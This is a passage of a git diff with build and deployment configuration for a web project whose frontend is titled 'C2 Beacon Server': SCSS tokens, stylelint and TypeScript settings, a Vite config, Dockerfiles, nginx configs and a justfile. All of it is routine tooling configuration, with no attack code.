$accent-green-dim: hsl(120, 40%, 25%);
|
||||
$accent-red: hsl(0, 70%, 55%);
|
||||
$accent-red-dim: hsl(0, 40%, 20%);
|
||||
$accent-blue: hsl(200, 70%, 50%);
|
||||
$accent-yellow: hsl(45, 80%, 60%);
|
||||
|
||||
$terminal-bg: hsl(0, 0%, 5%);
|
||||
|
||||
// ============================================================================
|
||||
// BORDER RADIUS
|
||||
// ============================================================================
|
||||
$radius-none: 0;
|
||||
$radius-xs: 2px;
|
||||
$radius-sm: 4px;
|
||||
$radius-md: 6px;
|
||||
$radius-lg: 8px;
|
||||
$radius-xl: 12px;
|
||||
$radius-full: 9999px;
|
||||
|
||||
// ============================================================================
|
||||
// Z-INDEX SCALE
|
||||
// ============================================================================
|
||||
$z-hide: -1;
|
||||
$z-base: 0;
|
||||
$z-dropdown: 100;
|
||||
$z-sticky: 200;
|
||||
$z-fixed: 300;
|
||||
$z-overlay: 400;
|
||||
$z-modal: 500;
|
||||
$z-popover: 600;
|
||||
$z-tooltip: 700;
|
||||
$z-toast: 800;
|
||||
$z-max: 9999;
|
||||
|
||||
// ============================================================================
|
||||
// TRANSITIONS
|
||||
// ============================================================================
|
||||
$duration-instant: 0ms;
|
||||
$duration-fast: 100ms;
|
||||
$duration-normal: 150ms;
|
||||
$duration-slow: 200ms;
|
||||
|
||||
$ease-out: cubic-bezier(0, 0, 0.2, 1);
|
||||
$ease-in-out: cubic-bezier(0.4, 0, 0.2, 1);
|
||||
|
||||
// ============================================================================
|
||||
// BREAKPOINTS
|
||||
// ============================================================================
|
||||
$breakpoint-xs: 360px;
|
||||
$breakpoint-sm: 480px;
|
||||
$breakpoint-md: 768px;
|
||||
$breakpoint-lg: 1024px;
|
||||
$breakpoint-xl: 1280px;
|
||||
$breakpoint-2xl: 1536px;
|
||||
|
||||
// ============================================================================
|
||||
// CONTAINER WIDTHS
|
||||
// ============================================================================
|
||||
$container-xs: 20rem;
|
||||
$container-sm: 24rem;
|
||||
$container-md: 28rem;
|
||||
$container-lg: 32rem;
|
||||
$container-xl: 36rem;
|
||||
$container-2xl: 42rem;
|
||||
$container-full: 100%;
|
||||
|
|
@ -0,0 +1,107 @@
|
|||
// ©AngelaMos | 2026
|
||||
// stylelint.config.js
|
||||
|
||||
/** @type {import('stylelint').Config} */
|
||||
export default {
|
||||
extends: ['stylelint-config-standard-scss', 'stylelint-config-prettier-scss'],
|
||||
rules: {
|
||||
'block-no-empty': true,
|
||||
'declaration-no-important': true,
|
||||
'color-no-invalid-hex': true,
|
||||
'property-no-unknown': true,
|
||||
'selector-pseudo-class-no-unknown': [
|
||||
true,
|
||||
{
|
||||
ignorePseudoClasses: ['global'],
|
||||
},
|
||||
],
|
||||
|
||||
'selector-class-pattern': [
|
||||
'^[a-z]([a-z0-9-]+)?(__[a-z0-9]([a-z0-9-]+)?)?(--[a-z0-9]([a-z0-9-]+)?)?$|^[a-z][a-zA-Z0-9]*$',
|
||||
{
|
||||
message:
|
||||
'Selector should be in BEM format (e.g., .block__element--modifier) or CSS Modules camelCase (e.g., .testButton)',
|
||||
},
|
||||
],
|
||||
|
||||
'value-keyword-case': [
|
||||
'lower',
|
||||
{
|
||||
camelCaseSvgKeywords: true,
|
||||
ignoreKeywords: [
|
||||
'BlinkMacSystemFont',
|
||||
'SFMono-Regular',
|
||||
'Menlo',
|
||||
'Monaco',
|
||||
'Consolas',
|
||||
'Roboto',
|
||||
'Arial',
|
||||
'Helvetica',
|
||||
'Times',
|
||||
'Georgia',
|
||||
'Verdana',
|
||||
'Tahoma',
|
||||
'Trebuchet',
|
||||
'Impact',
|
||||
'Comic',
|
||||
],
|
||||
},
|
||||
],
|
||||
|
||||
'property-no-vendor-prefix': [
|
||||
true,
|
||||
{
|
||||
ignoreProperties: ['text-size-adjust', 'appearance', 'backdrop-filter'],
|
||||
},
|
||||
],
|
||||
'value-no-vendor-prefix': true,
|
||||
'selector-no-vendor-prefix': true,
|
||||
|
||||
'property-no-deprecated': [
|
||||
true,
|
||||
{
|
||||
ignoreProperties: ['clip'],
|
||||
},
|
||||
],
|
||||
|
||||
'container-name-pattern': null,
|
||||
'layer-name-pattern': null,
|
||||
|
||||
'scss/at-rule-no-unknown': true,
|
||||
'scss/declaration-nested-properties-no-divided-groups': true,
|
||||
'scss/dollar-variable-no-missing-interpolation': true,
|
||||
'scss/dollar-variable-empty-line-before': null,
|
||||
|
||||
'declaration-empty-line-before': null,
|
||||
'custom-property-empty-line-before': null,
|
||||
|
||||
'no-descending-specificity': null,
|
||||
|
||||
'media-feature-name-no-unknown': [
|
||||
true,
|
||||
{
|
||||
ignoreMediaFeatureNames: ['map'],
|
||||
},
|
||||
],
|
||||
|
||||
'color-function-notation': null,
|
||||
'hue-degree-notation': null,
|
||||
},
|
||||
ignoreFiles: [
|
||||
'node_modules/**',
|
||||
'dist/**',
|
||||
'build/**',
|
||||
'**/*.js',
|
||||
'**/*.ts',
|
||||
'**/*.tsx',
|
||||
],
|
||||
overrides: [
|
||||
{
|
||||
files: ['**/styles/_reset.scss', '**/styles/_fonts.scss'],
|
||||
rules: {
|
||||
'declaration-no-important': null,
|
||||
'scss/comment-no-empty': null,
|
||||
},
|
||||
},
|
||||
],
|
||||
}
|
||||
|
|
@ -0,0 +1,31 @@
|
|||
{
|
||||
"compilerOptions": {
|
||||
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo",
|
||||
"target": "ES2022",
|
||||
"useDefineForClassFields": true,
|
||||
"lib": ["ES2022", "DOM", "DOM.Iterable"],
|
||||
"module": "ESNext",
|
||||
"types": ["vite/client"],
|
||||
"skipLibCheck": true,
|
||||
|
||||
"moduleResolution": "bundler",
|
||||
"allowImportingTsExtensions": true,
|
||||
"verbatimModuleSyntax": true,
|
||||
"moduleDetection": "force",
|
||||
"noEmit": true,
|
||||
"jsx": "react-jsx",
|
||||
|
||||
"strict": true,
|
||||
"noUnusedLocals": true,
|
||||
"noUnusedParameters": true,
|
||||
"erasableSyntaxOnly": true,
|
||||
"noFallthroughCasesInSwitch": true,
|
||||
"noUncheckedSideEffectImports": true,
|
||||
|
||||
"baseUrl": ".",
|
||||
"paths": {
|
||||
"@/*": ["./src/*"]
|
||||
}
|
||||
},
|
||||
"include": ["src"]
|
||||
}
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
{
|
||||
"files": [],
|
||||
"references": [
|
||||
{ "path": "./tsconfig.app.json" },
|
||||
{ "path": "./tsconfig.node.json" }
|
||||
]
|
||||
}
|
||||
|
|
@ -0,0 +1,24 @@
|
|||
{
|
||||
"compilerOptions": {
|
||||
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo",
|
||||
"target": "ES2023",
|
||||
"lib": ["ES2023"],
|
||||
"module": "ESNext",
|
||||
"types": ["node"],
|
||||
"skipLibCheck": true,
|
||||
|
||||
"moduleResolution": "bundler",
|
||||
"allowImportingTsExtensions": true,
|
||||
"verbatimModuleSyntax": true,
|
||||
"moduleDetection": "force",
|
||||
"noEmit": true,
|
||||
|
||||
"strict": true,
|
||||
"noUnusedLocals": true,
|
||||
"noUnusedParameters": true,
|
||||
"erasableSyntaxOnly": true,
|
||||
"noFallthroughCasesInSwitch": true,
|
||||
"noUncheckedSideEffectImports": true
|
||||
},
|
||||
"include": ["vite.config.ts"]
|
||||
}
|
||||
|
|
@ -0,0 +1,74 @@
|
|||
/**
|
||||
* ©AngelaMos | 2026
|
||||
* vite.config.ts
|
||||
*/
|
||||
|
||||
import path from 'node:path'
|
||||
import react from '@vitejs/plugin-react'
|
||||
import { defineConfig, loadEnv } from 'vite'
|
||||
import tsconfigPaths from 'vite-tsconfig-paths'
|
||||
|
||||
export default defineConfig(({ mode }) => {
|
||||
const env = loadEnv(mode, path.resolve(__dirname, '..'), '')
|
||||
const isDev = mode === 'development'
|
||||
|
||||
return {
|
||||
plugins: [react(), tsconfigPaths()],
|
||||
|
||||
resolve: {
|
||||
alias: {
|
||||
'@': path.resolve(__dirname, './src'),
|
||||
},
|
||||
},
|
||||
|
||||
css: {
|
||||
preprocessorOptions: {
|
||||
scss: {},
|
||||
},
|
||||
},
|
||||
|
||||
server: {
|
||||
port: 5173,
|
||||
host: '0.0.0.0',
|
||||
proxy: {
|
||||
'/api/ws': {
|
||||
target: env.VITE_API_TARGET || 'http://localhost:8000',
|
||||
changeOrigin: true,
|
||||
ws: true,
|
||||
rewrite: (p) => p.replace(/^\/api/, ''),
|
||||
},
|
||||
'/api': {
|
||||
target: env.VITE_API_TARGET || 'http://localhost:8000',
|
||||
changeOrigin: true,
|
||||
rewrite: (p) => p.replace(/^\/api/, ''),
|
||||
},
|
||||
},
|
||||
},
|
||||
|
||||
build: {
|
||||
target: 'esnext',
|
||||
cssTarget: 'chrome100',
|
||||
sourcemap: isDev ? true : 'hidden',
|
||||
minify: 'oxc',
|
||||
rollupOptions: {
|
||||
output: {
|
||||
manualChunks(id: string): string | undefined {
|
||||
if (id.includes('node_modules')) {
|
||||
if (id.includes('react-dom') || id.includes('react-router')) {
|
||||
return 'vendor-react'
|
||||
}
|
||||
if (id.includes('zustand')) {
|
||||
return 'vendor-state'
|
||||
}
|
||||
}
|
||||
return undefined
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
|
||||
preview: {
|
||||
port: 4173,
|
||||
},
|
||||
}
|
||||
})
|
||||
|
|
@ -0,0 +1,34 @@
|
|||
# =============================================================================
|
||||
# AngelaMos | 2026
|
||||
# fastapi.dev
|
||||
# =============================================================================
|
||||
# Development Dockerfile for FastAPI backend
|
||||
# Features: uv package manager, hot reload, dev dependencies
|
||||
# =============================================================================
|
||||
# syntax=docker/dockerfile:1
|
||||
|
||||
FROM python:3.12-slim
|
||||
|
||||
COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
ENV PYTHONDONTWRITEBYTECODE=1 \
|
||||
PYTHONUNBUFFERED=1 \
|
||||
UV_COMPILE_BYTECODE=0 \
|
||||
UV_LINK_MODE=copy \
|
||||
PYTHONPATH=/app/app
|
||||
|
||||
COPY pyproject.toml uv.lock* ./
|
||||
|
||||
RUN --mount=type=cache,target=/root/.cache/uv \
|
||||
uv sync --frozen --no-install-project
|
||||
|
||||
COPY . .
|
||||
|
||||
RUN --mount=type=cache,target=/root/.cache/uv \
|
||||
uv sync --frozen
|
||||
|
||||
EXPOSE 8000
|
||||
|
||||
CMD ["uv", "run", "uvicorn", "app.__main__:app", "--host", "0.0.0.0", "--port", "8000", "--reload"]
|
||||
|
|
@ -0,0 +1,59 @@
|
|||
# =============================================================================
|
||||
# AngelaMos | 2026
|
||||
# fastapi.prod
|
||||
# =============================================================================
|
||||
# Production Dockerfile for FastAPI backend
|
||||
# Features: uv, multi-stage build, non-root user, health check
|
||||
# =============================================================================
|
||||
# syntax=docker/dockerfile:1
|
||||
|
||||
# ============================================================================
|
||||
# BUILD STAGE
|
||||
# ============================================================================
|
||||
FROM python:3.12-slim AS builder
|
||||
|
||||
COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
ENV UV_COMPILE_BYTECODE=1 \
|
||||
UV_LINK_MODE=copy
|
||||
|
||||
COPY pyproject.toml uv.lock* ./
|
||||
|
||||
RUN --mount=type=cache,target=/root/.cache/uv \
|
||||
uv sync --locked --no-install-project --no-dev
|
||||
|
||||
COPY . .
|
||||
|
||||
RUN --mount=type=cache,target=/root/.cache/uv \
|
||||
uv sync --locked --no-dev --no-editable
|
||||
|
||||
# ============================================================================
|
||||
# PRODUCTION STAGE
|
||||
# ============================================================================
|
||||
FROM python:3.12-slim AS production
|
||||
|
||||
RUN groupadd -g 1001 appgroup && \
|
||||
useradd -u 1001 -g appgroup -m -s /bin/false appuser && \
|
||||
mkdir -p /app/data && \
|
||||
chown -R appuser:appgroup /app
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY --from=builder --chown=appuser:appgroup /app/.venv /app/.venv
|
||||
COPY --from=builder --chown=appuser:appgroup /app/app /app/app
|
||||
|
||||
ENV PATH="/app/.venv/bin:$PATH" \
|
||||
PYTHONDONTWRITEBYTECODE=1 \
|
||||
PYTHONUNBUFFERED=1 \
|
||||
PYTHONPATH=/app/app
|
||||
|
||||
USER appuser
|
||||
|
||||
EXPOSE 8000
|
||||
|
||||
HEALTHCHECK --interval=30s --timeout=3s --start-period=10s --retries=3 \
|
||||
CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:8000/health')" || exit 1
|
||||
|
||||
CMD ["gunicorn", "app.__main__:app", "--worker-class", "uvicorn.workers.UvicornWorker", "--workers", "2", "--bind", "0.0.0.0:8000", "--max-requests", "1000", "--max-requests-jitter", "100", "--access-logfile", "-", "--error-logfile", "-"]
|
||||
|
|
@ -0,0 +1,60 @@
|
|||
# =============================================================================
|
||||
# AngelaMos | 2026
|
||||
# frontend-builder.prod
|
||||
# =============================================================================
|
||||
# Production Dockerfile for frontend
|
||||
# Multi-stage: builds Vite app, serves via Nginx
|
||||
# =============================================================================
|
||||
# syntax=docker/dockerfile:1
|
||||
|
||||
# ============================================================================
|
||||
# BUILD STAGE
|
||||
# ============================================================================
|
||||
FROM node:22-slim AS builder
|
||||
|
||||
RUN corepack enable && corepack prepare pnpm@latest --activate
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY frontend/package.json frontend/pnpm-lock.yaml* ./
|
||||
|
||||
RUN --mount=type=cache,target=/root/.local/share/pnpm/store \
|
||||
pnpm install --frozen-lockfile
|
||||
|
||||
COPY frontend/ .
|
||||
|
||||
ARG VITE_API_URL=/api
|
||||
ARG VITE_APP_TITLE="C2 Beacon Server"
|
||||
|
||||
ENV VITE_API_URL=${VITE_API_URL} \
|
||||
VITE_APP_TITLE=${VITE_APP_TITLE}
|
||||
|
||||
RUN pnpm build
|
||||
|
||||
# ============================================================================
|
||||
# PRODUCTION STAGE
|
||||
# ============================================================================
|
||||
FROM nginx:1.27-alpine AS production
|
||||
|
||||
RUN rm -rf /usr/share/nginx/html/* && \
|
||||
rm /etc/nginx/conf.d/default.conf
|
||||
|
||||
COPY --from=builder /app/dist /usr/share/nginx/html
|
||||
|
||||
COPY --chown=nginx:nginx infra/nginx/nginx.prod.conf /etc/nginx/nginx.conf
|
||||
COPY --chown=nginx:nginx infra/nginx/prod.nginx /etc/nginx/conf.d/default.conf
|
||||
|
||||
RUN chown -R nginx:nginx /usr/share/nginx/html && \
|
||||
chown -R nginx:nginx /var/cache/nginx && \
|
||||
chown -R nginx:nginx /var/log/nginx && \
|
||||
touch /var/run/nginx.pid && \
|
||||
chown -R nginx:nginx /var/run/nginx.pid
|
||||
|
||||
USER nginx
|
||||
|
||||
EXPOSE 80
|
||||
|
||||
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
|
||||
CMD wget --no-verbose --tries=1 --spider http://localhost:80/health || exit 1
|
||||
|
||||
CMD ["nginx", "-g", "daemon off;"]
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
# =============================================================================
|
||||
# AngelaMos | 2026
|
||||
# vite.dev
|
||||
# =============================================================================
|
||||
# Development Dockerfile for Vite/React frontend
|
||||
# Features: pnpm, HMR support, polling for Docker file watching
|
||||
# =============================================================================
|
||||
# syntax=docker/dockerfile:1
|
||||
|
||||
FROM node:22-slim
|
||||
|
||||
RUN corepack enable && corepack prepare pnpm@latest --activate
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY package.json pnpm-lock.yaml* ./
|
||||
|
||||
RUN --mount=type=cache,target=/root/.local/share/pnpm/store \
|
||||
pnpm install --frozen-lockfile
|
||||
|
||||
COPY . .
|
||||
|
||||
EXPOSE 5173
|
||||
|
||||
CMD ["pnpm", "dev", "--host", "0.0.0.0"]
|
||||
|
|
@ -0,0 +1,70 @@
|
|||
# =============================================================================
|
||||
# AngelaMos | 2026
|
||||
# dev.nginx
|
||||
# =============================================================================
|
||||
# Development server block: proxies to Vite HMR + FastAPI backend
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name _;
|
||||
|
||||
access_log /var/log/nginx/access.log main_timed;
|
||||
error_log /var/log/nginx/error.log debug;
|
||||
|
||||
add_header Cache-Control "no-store, no-cache, must-revalidate" always;
|
||||
|
||||
location /health {
|
||||
access_log off;
|
||||
return 200 "healthy\n";
|
||||
add_header Content-Type text/plain;
|
||||
}
|
||||
|
||||
location /api/ {
|
||||
limit_req zone=api_limit burst=50 nodelay;
|
||||
limit_conn conn_limit 20;
|
||||
|
||||
proxy_pass http://backend/;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Connection "";
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
proxy_buffering off;
|
||||
proxy_request_buffering off;
|
||||
|
||||
proxy_connect_timeout 60s;
|
||||
proxy_send_timeout 60s;
|
||||
proxy_read_timeout 60s;
|
||||
}
|
||||
|
||||
location /api/ws/ {
|
||||
proxy_pass http://backend/ws/;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection $connection_upgrade;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
proxy_read_timeout 3600s;
|
||||
proxy_send_timeout 3600s;
|
||||
proxy_buffering off;
|
||||
}
|
||||
|
||||
location / {
|
||||
proxy_pass http://frontend_dev;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection $connection_upgrade;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
|
||||
proxy_read_timeout 60s;
|
||||
proxy_buffering off;
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,83 @@
|
|||
# AngelaMos | 2026
|
||||
# nginx.conf
|
||||
# Shared nginx configuration (development)
|
||||
|
||||
user nginx;
|
||||
worker_processes auto;
|
||||
worker_rlimit_nofile 65535;
|
||||
|
||||
error_log /var/log/nginx/error.log warn;
|
||||
pid /var/run/nginx.pid;
|
||||
|
||||
events {
|
||||
worker_connections 4096;
|
||||
multi_accept on;
|
||||
use epoll;
|
||||
}
|
||||
|
||||
http {
|
||||
include /etc/nginx/mime.types;
|
||||
default_type application/octet-stream;
|
||||
|
||||
map $http_upgrade $connection_upgrade {
|
||||
default upgrade;
|
||||
'' close;
|
||||
}
|
||||
|
||||
upstream backend {
|
||||
server backend:8000 max_fails=3 fail_timeout=30s;
|
||||
keepalive 32;
|
||||
keepalive_requests 1000;
|
||||
keepalive_timeout 60s;
|
||||
}
|
||||
|
||||
upstream frontend_dev {
|
||||
server frontend:5173;
|
||||
keepalive 8;
|
||||
}
|
||||
|
||||
limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
|
||||
limit_conn_zone $binary_remote_addr zone=conn_limit:10m;
|
||||
limit_req_status 429;
|
||||
|
||||
log_format main_timed '$remote_addr - $remote_user [$time_local] '
|
||||
'"$request" $status $body_bytes_sent '
|
||||
'"$http_referer" "$http_user_agent" '
|
||||
'rt=$request_time uct="$upstream_connect_time" '
|
||||
'uht="$upstream_header_time" urt="$upstream_response_time"';
|
||||
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
tcp_nodelay on;
|
||||
keepalive_timeout 65;
|
||||
types_hash_max_size 2048;
|
||||
server_tokens off;
|
||||
|
||||
client_body_buffer_size 128k;
|
||||
client_header_buffer_size 16k;
|
||||
client_max_body_size 10m;
|
||||
large_client_header_buffers 4 16k;
|
||||
|
||||
client_body_timeout 12s;
|
||||
client_header_timeout 12s;
|
||||
send_timeout 10s;
|
||||
|
||||
gzip on;
|
||||
gzip_vary on;
|
||||
gzip_proxied any;
|
||||
gzip_comp_level 6;
|
||||
gzip_min_length 256;
|
||||
gzip_types
|
||||
text/plain
|
||||
text/css
|
||||
text/xml
|
||||
text/javascript
|
||||
application/json
|
||||
application/javascript
|
||||
application/xml+rss
|
||||
application/atom+xml
|
||||
image/svg+xml;
|
||||
gzip_disable "msie6";
|
||||
|
||||
include /etc/nginx/conf.d/*.conf;
|
||||
}
|
||||
|
|
@ -0,0 +1,77 @@
|
|||
# AngelaMos | 2026
|
||||
# nginx.prod.conf
|
||||
# Production nginx configuration (no dev frontend upstream)
|
||||
|
||||
worker_processes auto;
|
||||
worker_rlimit_nofile 65535;
|
||||
|
||||
error_log /var/log/nginx/error.log warn;
|
||||
pid /var/run/nginx.pid;
|
||||
|
||||
events {
|
||||
worker_connections 4096;
|
||||
multi_accept on;
|
||||
use epoll;
|
||||
}
|
||||
|
||||
http {
|
||||
include /etc/nginx/mime.types;
|
||||
default_type application/octet-stream;
|
||||
|
||||
map $http_upgrade $connection_upgrade {
|
||||
default upgrade;
|
||||
'' close;
|
||||
}
|
||||
|
||||
upstream backend {
|
||||
server backend:8000 max_fails=3 fail_timeout=30s;
|
||||
keepalive 32;
|
||||
keepalive_requests 1000;
|
||||
keepalive_timeout 60s;
|
||||
}
|
||||
|
||||
limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
|
||||
limit_conn_zone $binary_remote_addr zone=conn_limit:10m;
|
||||
limit_req_status 429;
|
||||
|
||||
log_format main_timed '$remote_addr - $remote_user [$time_local] '
|
||||
'"$request" $status $body_bytes_sent '
|
||||
'"$http_referer" "$http_user_agent" '
|
||||
'rt=$request_time uct="$upstream_connect_time" '
|
||||
'uht="$upstream_header_time" urt="$upstream_response_time"';
|
||||
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
tcp_nodelay on;
|
||||
keepalive_timeout 65;
|
||||
types_hash_max_size 2048;
|
||||
server_tokens off;
|
||||
|
||||
client_body_buffer_size 128k;
|
||||
client_header_buffer_size 16k;
|
||||
client_max_body_size 10m;
|
||||
large_client_header_buffers 4 16k;
|
||||
|
||||
client_body_timeout 12s;
|
||||
client_header_timeout 12s;
|
||||
send_timeout 10s;
|
||||
|
||||
gzip on;
|
||||
gzip_vary on;
|
||||
gzip_proxied any;
|
||||
gzip_comp_level 6;
|
||||
gzip_min_length 256;
|
||||
gzip_types
|
||||
text/plain
|
||||
text/css
|
||||
text/xml
|
||||
text/javascript
|
||||
application/json
|
||||
application/javascript
|
||||
application/xml+rss
|
||||
application/atom+xml
|
||||
image/svg+xml;
|
||||
gzip_disable "msie6";
|
||||
|
||||
include /etc/nginx/conf.d/*.conf;
|
||||
}
|
||||
|
|
@ -0,0 +1,90 @@
|
|||
# =============================================================================
|
||||
# AngelaMos | 2026
|
||||
# prod.nginx
|
||||
# =============================================================================
|
||||
# Production server block: serves static files + proxies API
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name _;
|
||||
|
||||
root /usr/share/nginx/html;
|
||||
index index.html;
|
||||
|
||||
access_log /var/log/nginx/access.log main_timed buffer=32k flush=5s;
|
||||
error_log /var/log/nginx/error.log warn;
|
||||
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
|
||||
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
|
||||
|
||||
location /health {
|
||||
access_log off;
|
||||
return 200 "healthy\n";
|
||||
add_header Content-Type text/plain;
|
||||
}
|
||||
|
||||
location /api/ {
|
||||
limit_req zone=api_limit burst=20 nodelay;
|
||||
limit_conn conn_limit 50;
|
||||
|
||||
proxy_pass http://backend/;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Connection "";
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
proxy_buffering on;
|
||||
proxy_buffers 8 32k;
|
||||
proxy_buffer_size 4k;
|
||||
|
||||
proxy_connect_timeout 60s;
|
||||
proxy_send_timeout 30s;
|
||||
proxy_read_timeout 30s;
|
||||
}
|
||||
|
||||
location /api/ws/ {
|
||||
proxy_pass http://backend/ws/;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection $connection_upgrade;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
proxy_read_timeout 3600s;
|
||||
proxy_send_timeout 3600s;
|
||||
proxy_connect_timeout 75s;
|
||||
proxy_buffering off;
|
||||
}
|
||||
|
||||
location /assets/ {
|
||||
expires 1y;
|
||||
add_header Cache-Control "public, immutable";
|
||||
access_log off;
|
||||
try_files $uri =404;
|
||||
}
|
||||
|
||||
location ~* \.(jpg|jpeg|png|gif|ico|svg|webp|avif|woff|woff2|ttf|eot|otf)$ {
|
||||
expires 1y;
|
||||
add_header Cache-Control "public, immutable";
|
||||
access_log off;
|
||||
}
|
||||
|
||||
location / {
|
||||
add_header Cache-Control "no-cache, must-revalidate";
|
||||
try_files $uri $uri/ /index.html;
|
||||
}
|
||||
|
||||
location ~ /\. {
|
||||
deny all;
|
||||
access_log off;
|
||||
log_not_found off;
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,211 @@
|
|||
# =============================================================================
|
||||
# AngelaMos | 2026
|
||||
# justfile
|
||||
# =============================================================================
|
||||
|
||||
set dotenv-filename := ".env"
|
||||
set dotenv-load
|
||||
set export
|
||||
set shell := ["bash", "-uc"]
|
||||
set windows-shell := ["powershell.exe", "-NoLogo", "-Command"]
|
||||
|
||||
project := file_name(justfile_directory())
|
||||
version := `git describe --tags --always 2>/dev/null || echo "dev"`
|
||||
|
||||
# =============================================================================
|
||||
# Default
|
||||
# =============================================================================
|
||||
|
||||
default:
|
||||
@just --list --unsorted
|
||||
|
||||
# =============================================================================
|
||||
# Backend Linting
|
||||
# =============================================================================
|
||||
|
||||
[group('lint')]
|
||||
ruff *ARGS:
|
||||
ruff check backend/ {{ARGS}}
|
||||
|
||||
[group('lint')]
|
||||
ruff-fix:
|
||||
ruff check backend/ --fix
|
||||
ruff format backend/
|
||||
|
||||
[group('lint')]
|
||||
ruff-format:
|
||||
ruff format backend/
|
||||
|
||||
[group('lint')]
|
||||
pylint *ARGS:
|
||||
pylint backend/app {{ARGS}}
|
||||
|
||||
[group('lint')]
|
||||
lint: ruff
|
||||
|
||||
# =============================================================================
|
||||
# Frontend Linting
|
||||
# =============================================================================
|
||||
|
||||
[group('frontend')]
|
||||
biome *ARGS:
|
||||
cd frontend && pnpm biome check . {{ARGS}}
|
||||
|
||||
[group('frontend')]
|
||||
biome-fix:
|
||||
cd frontend && pnpm biome check --write .
|
||||
|
||||
[group('frontend')]
|
||||
stylelint *ARGS:
|
||||
cd frontend && pnpm stylelint '**/*.scss' {{ARGS}}
|
||||
|
||||
[group('frontend')]
|
||||
stylelint-fix:
|
||||
cd frontend && pnpm stylelint '**/*.scss' --fix
|
||||
|
||||
[group('frontend')]
|
||||
tsc *ARGS:
|
||||
cd frontend && pnpm tsc --noEmit {{ARGS}}
|
||||
|
||||
# =============================================================================
|
||||
# Type Checking
|
||||
# =============================================================================
|
||||
|
||||
[group('types')]
|
||||
mypy *ARGS:
|
||||
mypy backend/app {{ARGS}}
|
||||
|
||||
[group('types')]
|
||||
typecheck: mypy
|
||||
|
||||
# =============================================================================
|
||||
# Testing
|
||||
# =============================================================================
|
||||
|
||||
[group('test')]
|
||||
pytest *ARGS:
|
||||
pytest backend/tests {{ARGS}}
|
||||
|
||||
[group('test')]
|
||||
test: pytest
|
||||
|
||||
[group('test')]
|
||||
test-cov:
|
||||
pytest backend/tests --cov=backend/app --cov-report=term-missing --cov-report=html
|
||||
|
||||
# =============================================================================
|
||||
# CI / Quality
|
||||
# =============================================================================
|
||||
|
||||
[group('ci')]
|
||||
ci: lint typecheck test
|
||||
|
||||
[group('ci')]
|
||||
check: ruff mypy
|
||||
|
||||
# =============================================================================
|
||||
# Docker Compose (Production)
|
||||
# =============================================================================
|
||||
|
||||
[group('prod')]
|
||||
up *ARGS:
|
||||
docker compose --env-file .env up {{ARGS}}
|
||||
|
||||
[group('prod')]
|
||||
start *ARGS:
|
||||
docker compose --env-file .env up -d {{ARGS}}
|
||||
|
||||
[group('prod')]
|
||||
down *ARGS:
|
||||
docker compose --env-file .env down {{ARGS}}
|
||||
|
||||
[group('prod')]
|
||||
stop:
|
||||
docker compose --env-file .env stop
|
||||
|
||||
[group('prod')]
|
||||
build *ARGS:
|
||||
docker compose --env-file .env build {{ARGS}}
|
||||
|
||||
[group('prod')]
|
||||
rebuild:
|
||||
docker compose --env-file .env build --no-cache
|
||||
|
||||
[group('prod')]
|
||||
logs *SERVICE:
|
||||
docker compose --env-file .env logs -f {{SERVICE}}
|
||||
|
||||
[group('prod')]
|
||||
ps:
|
||||
docker compose --env-file .env ps
|
||||
|
||||
[group('prod')]
|
||||
shell service='backend':
|
||||
docker compose --env-file .env exec -it {{service}} /bin/bash
|
||||
|
||||
# =============================================================================
|
||||
# Docker Compose (Development)
|
